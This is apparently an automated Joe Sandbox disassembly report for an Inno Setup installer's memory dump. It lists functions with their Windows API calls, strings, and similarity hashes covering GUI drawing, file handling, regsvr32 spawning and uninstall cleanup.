Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: 7b509680db312d6d9eeee96a6ca75077f36d693cf911451bc7dd7bcd49c3517f
Instruction ID: 06b5d05a5e38ae799b2edb69ba26f0faef77b18cb4ad173b91f5c3c95d125767
Opcode Fuzzy Hash: 7b509680db312d6d9eeee96a6ca75077f36d693cf911451bc7dd7bcd49c3517f
Instruction Fuzzy Hash: EF418E75A00608AFDB15DF95C981F9EB7F8EB48714F1044AAF900F72D2DA789E44CA28

Function 00456D20 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00456E85,?,?,00000031,?), ref: 00456D48
GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 00456D4E
LoadTypeLib.OLEAUT32(00000000,?), ref: 00456D9B

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004984F9,00000000), ref: 0045349F

Strings

GetProcAddress, xrefs: 00456D5B
LoadTypeLib, xrefs: 00456DA6
ITypeLib::GetLibAttr, xrefs: 00456DD1
UnRegisterTypeLib, xrefs: 00456D3E
UnRegisterTypeLib, xrefs: 00456E07
OLEAUT32.DLL, xrefs: 00456D43

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: e2963ea3afedc97cdb575031c9274042e2bd1e61e6c3a56a36b999a051922bf2
Instruction ID: d1bb8c6bfccdc0522a96f5e3020b18907c52df716e7671809b7eaf465cfb4023
Opcode Fuzzy Hash: e2963ea3afedc97cdb575031c9274042e2bd1e61e6c3a56a36b999a051922bf2
Instruction Fuzzy Hash: 6831A375A00604AFDB41EFAACC12D5BB7BDEB8970675244A6FD04D3352DB38DD08CA28

Function 00416D80 Relevance: 15.2, APIs: 10, Instructions: 167windowCOMMON

Download Yara Rule

APIs

RectVisible.GDI32(?,?), ref: 00416E13
SaveDC.GDI32(?), ref: 00416E27
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416E4A
RestoreDC.GDI32(?,?), ref: 00416E65
CreateSolidBrush.GDI32(00000000), ref: 00416EE5
FrameRect.USER32(?,?,?), ref: 00416F18
DeleteObject.GDI32(?), ref: 00416F22
CreateSolidBrush.GDI32(00000000), ref: 00416F32
FrameRect.USER32(?,?,?), ref: 00416F65
DeleteObject.GDI32(?), ref: 00416F6F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: b9a1a6b4ef0fbc1228a8f8785835a4c3e08f1bfb9097ff9bdf89ecadc5e4d088
Instruction ID: c082a38e55a2621cff38c0036c5e412d4739722926df34ebe37a7eff5f7859fc
Opcode Fuzzy Hash: b9a1a6b4ef0fbc1228a8f8785835a4c3e08f1bfb9097ff9bdf89ecadc5e4d088
Instruction Fuzzy Hash: 70515A712086459FDB50EF69C8C4B9B77E8AF48314F15466AFD488B286C738EC81CB99

Function 00404ABF Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B46
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B6A
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B86
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BA7
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BD0
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BDA
GetStdHandle.KERNEL32(000000F5), ref: 00404BFA
GetFileType.KERNEL32(?,000000F5), ref: 00404C11
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C2C
GetLastError.KERNEL32(000000F5), ref: 00404C46

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction ID: 0555156f4d2a620bb114dc01d937536d57074fdea11cd86abdfeb4dd56d828b4
Opcode Fuzzy Hash: 9f56c7289f94e04900e6d065ddfea074988f08e379b72121dafcd5ad7d79337d
Instruction Fuzzy Hash: 3741B3F02093009AF7305E248905B2375E5EBC0755F208E3FE296BA6E0D7BDE8458B1D

Function 004221E8 Relevance: 15.1, APIs: 10, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 00422233
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422251
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042225E
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042226B
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422278
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 00422285
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 00422292
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 0042229F
EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 004222BD
EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 004222D9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: 4d8bc361089dd12c5078b36f4c4993afe50deda9ff5b79e06e1db0131907f366
Instruction ID: 662ae76830c3dbb110fd6952920e185112f137d20e740dc0dcce1beff7d7cd05
Opcode Fuzzy Hash: 4d8bc361089dd12c5078b36f4c4993afe50deda9ff5b79e06e1db0131907f366
Instruction Fuzzy Hash: AF2144703407047AE720E724CD8BF9BBBD89B04708F5451A5BA487F6D3C6F9AB804698

Function 004819A8 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 175windowCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(10000000), ref: 00481B65
FreeLibrary.KERNEL32(02400000), ref: 00481B79
SendNotifyMessageA.USER32(00020428,00000496,00002710,00000000), ref: 00481BEB

Strings

Not restarting Windows because Setup is being run from the debugger., xrefs: 00481B9A
Restarting Windows., xrefs: 00481BC6
DeinitializeSetup, xrefs: 00481A61
Deinitializing Setup., xrefs: 004819C6
GetCustomSetupExitCode, xrefs: 00481A05

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FreeLibrary$MessageNotifySend
String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
API String ID: 3817813901-1884538726
Opcode ID: 6d74b07853b62e9a78f4af2a4b9518ca68df11045f622bb3010e2b904ba9fea3
Instruction ID: 5f614c2becb2f9b2df5b9334f77b872cbbc58191adb727a5ecf500f3ff499cff
Opcode Fuzzy Hash: 6d74b07853b62e9a78f4af2a4b9518ca68df11045f622bb3010e2b904ba9fea3
Instruction Fuzzy Hash: 12519F307042009FD715EF69E995B6A77E8EB19714F1188BBE800C73B2DB38A846CB5D

Function 0046168C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 004616C7
GetActiveWindow.USER32 ref: 0046172B
CoInitialize.OLE32(00000000), ref: 0046173F
SHBrowseForFolder.SHELL32(?), ref: 00461756
CoUninitialize.OLE32(00461797,00000000,?,?,?,?,?,00000000,0046181B), ref: 0046176B
SetActiveWindow.USER32(?,00461797,00000000,?,?,?,?,?,00000000,0046181B), ref: 00461781
SetActiveWindow.USER32(?,?,00461797,00000000,?,?,?,?,?,00000000,0046181B), ref: 0046178A

Strings

A, xrefs: 004616FF

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ActiveWindow$BrowseFolderInitializeMallocUninitialize
String ID: A
API String ID: 2684663990-3554254475
Opcode ID: 5abff382c365b356a5f9979bd0a1a977532a81d07c44ab4be7d70d1cfd9c4776
Instruction ID: 0f37cca2ee7d5c89cd5c8fe3b5c5f67eac08b275376d6c087401a1ac056189be
Opcode Fuzzy Hash: 5abff382c365b356a5f9979bd0a1a977532a81d07c44ab4be7d70d1cfd9c4776
Instruction Fuzzy Hash: C3312F70E00348AFDB10EFA6D885A9EBBF8EB09304F55847AF404E7251E7785A048F59

Function 00472B4C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 67COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00472C0D,?,?,?,00000008,00000000,00000000,00000000,?,00472E69,?,?,00000000,004730D8), ref: 00472B70

Part of subcall function 0042CD94: GetPrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0042CE0A

Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498845,00000000,0049889A,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B

SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00472C0D,?,?,?,00000008,00000000,00000000,00000000,?,00472E69), ref: 00472BE7
RemoveDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00472C0D,?,?,?,00000008,00000000,00000000,00000000), ref: 00472BED

Strings

target.lnk, xrefs: 00472BC5
CLSID2, xrefs: 00472B9A
.ShellClassInfo, xrefs: 00472B9F
desktop.ini, xrefs: 00472B84
{0AFACED1-E828-11D1-9187-B532F1E9575D}, xrefs: 00472BA9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryPrivateProfileRemoveString
String ID: .ShellClassInfo$CLSID2$desktop.ini$target.lnk${0AFACED1-E828-11D1-9187-B532F1E9575D}
API String ID: 884541143-1710247218
Opcode ID: 15e75fedc04b3aa363ec587cdf338b9bca21dc0c17d6f5d62e1bed9c64d546c9
Instruction ID: 5d3afa004f47515b0afb51a46fc12790b9d79365c4da9299bd662cb786c7dc46
Opcode Fuzzy Hash: 15e75fedc04b3aa363ec587cdf338b9bca21dc0c17d6f5d62e1bed9c64d546c9
Instruction Fuzzy Hash: 3E11D0707005147FD712EA698E82A9F73ACDB59714F61857BB404A72C1DB7CEE02865C

Function 0045D2B4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(02400000,inflateInit_), ref: 0045D2BD
GetProcAddress.KERNEL32(02400000,inflate), ref: 0045D2CD
GetProcAddress.KERNEL32(02400000,inflateEnd), ref: 0045D2DD
GetProcAddress.KERNEL32(02400000,inflateReset), ref: 0045D2ED

Strings

inflateInit_, xrefs: 0045D2B7
inflate, xrefs: 0045D2C7
inflateEnd, xrefs: 0045D2D7
inflateReset, xrefs: 0045D2E7

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 190572456-3516654456
Opcode ID: 5039b32c95ab4f878aa340bc95ef1656196d0563f790867e571847c0b893819f
Instruction ID: d913f85fec6517a53d2ec7ba369195fd603025f4bffd93910817278a70f0814a
Opcode Fuzzy Hash: 5039b32c95ab4f878aa340bc95ef1656196d0563f790867e571847c0b893819f
Instruction Fuzzy Hash: C20112B0D00701DBE724DFF6ACC672636A5ABA8306F14C03B9D09962A2D77D0459DF2E

Function 0041A8DC Relevance: 13.7, APIs: 9, Instructions: 176windowCOMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,00000000), ref: 0041A9B9
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0041A9F3
SetBkColor.GDI32(?,?), ref: 0041AA08
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AA52
SetTextColor.GDI32(00000000,00000000), ref: 0041AA5D
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AA6D
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AAAC
SetTextColor.GDI32(00000000,00000000), ref: 0041AAB6
SetBkColor.GDI32(00000000,?), ref: 0041AAC3

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
Opcode ID: a8d6bc22a29610fb7d9e8f004505559cc23da0f7e724cd4a229c9d2e97503fc4
Instruction ID: 4467ea82dd13d464879b0bd0dd0607b47ee3045dce17e21d2c6451b7f26a8ea4
Opcode Fuzzy Hash: a8d6bc22a29610fb7d9e8f004505559cc23da0f7e724cd4a229c9d2e97503fc4
Instruction Fuzzy Hash: 8761E5B5A00505AFCB40EFADD985E9AB7F8EF08314B10816AF908DB262C775ED40CF58

Function 004580C4 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00458278,?, /s ",?,regsvr32.exe",?,00458278), ref: 004581EA

Strings

Spawning 64-bit RegSvr32: , xrefs: 0045814F
/s ", xrefs: 00458133
D, xrefs: 004581A0
CreateProcess, xrefs: 004581DC
/u, xrefs: 00458126
0x%x, xrefs: 0045820D
Spawning 32-bit RegSvr32: , xrefs: 00458171
regsvr32.exe", xrefs: 0045810B

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: 8f98767bd471881ea9df2c93d8a569edb70bdf2c2fabfe62ed544d022ea99af7
Instruction ID: cda81b302c56d3c3b7af3d8ffa4af26d40175ae7a7c1cff7e24eee752c39b11a
Opcode Fuzzy Hash: 8f98767bd471881ea9df2c93d8a569edb70bdf2c2fabfe62ed544d022ea99af7
Instruction Fuzzy Hash: 21411670A047486BDB10EFD6D842B8DBBF9AF45305F50407FB904BB292DF789A098B19

Function 0044D178 Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044D1A9
GetSysColor.USER32(00000014), ref: 0044D1B0
SetTextColor.GDI32(00000000,00000000), ref: 0044D1C8
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D1F1
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D1FB
GetSysColor.USER32(00000010), ref: 0044D202
SetTextColor.GDI32(00000000,00000000), ref: 0044D21A
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D243
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D26E

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: 7d2b2fc9822961681121e15aec8fda6e1bcec34d0c54e5d8dfbef80c477f73a5
Instruction ID: 8406a00effd73db105afccad7da3796984cf264811f0ddac3e5cace4e0ac1d2b
Opcode Fuzzy Hash: 7d2b2fc9822961681121e15aec8fda6e1bcec34d0c54e5d8dfbef80c477f73a5
Instruction Fuzzy Hash: A021BDB42015047FC710FB2ACD8AE8B6BDCDF19319B05457AB958EB292C67CDD404668

Function 0041B66C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B745
GetDC.USER32(?), ref: 0041B751
SelectPalette.GDI32(00000000,?,00000000), ref: 0041B786
RealizePalette.GDI32(00000000), ref: 0041B792
CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041B7C0
SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041B7F4

Strings

7'H, xrefs: 0041B674

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Palette$Select$BitmapCreateFocusRealize
String ID: 7'H
API String ID: 3275473261-2091340224
Opcode ID: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
Instruction ID: 38bdddf8d72f5571b31e8017bfcff87152bbfcb95d4f6cd7f9962c0a723fddb9
Opcode Fuzzy Hash: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
Instruction Fuzzy Hash: 8A512F70A002099FDF11DFA9C881AEEBBF9FF49704F104066F504A7791D7799981CBA9

Function 0041B93C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041BA17
GetDC.USER32(?), ref: 0041BA23
SelectPalette.GDI32(00000000,?,00000000), ref: 0041BA5D
RealizePalette.GDI32(00000000), ref: 0041BA69
CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BA8D
SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041BAC1

Strings

7'H, xrefs: 0041B944

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Palette$Select$BitmapCreateFocusRealize
String ID: 7'H
API String ID: 3275473261-2091340224
Opcode ID: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
Instruction ID: 3fcaffe560058c7771eaec6053d79e0e1924f360d52694d27862de55114c0f48
Opcode Fuzzy Hash: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
Instruction Fuzzy Hash: 9D512A74A002189FDB11DFA9C891AAEBBF9FF49700F154066F904EB751D738AD40CBA4

Function 00496648 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C342,00000000,0045C4CD,?,00000000,00000002,00000002), ref: 00450933

Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498845,00000000,0049889A,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B

GetWindowThreadProcessId.USER32(00000000,?), ref: 004966D9
OpenProcess.KERNEL32(00100000,00000000,?,00000000,?), ref: 004966ED
SendNotifyMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 00496707
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 00496713
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 00496719
Sleep.KERNEL32(000001F4,00000000,0000054D,00000000,00000000,00000000,?), ref: 0049672C

Strings

Deleting Uninstall data files., xrefs: 0049664F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
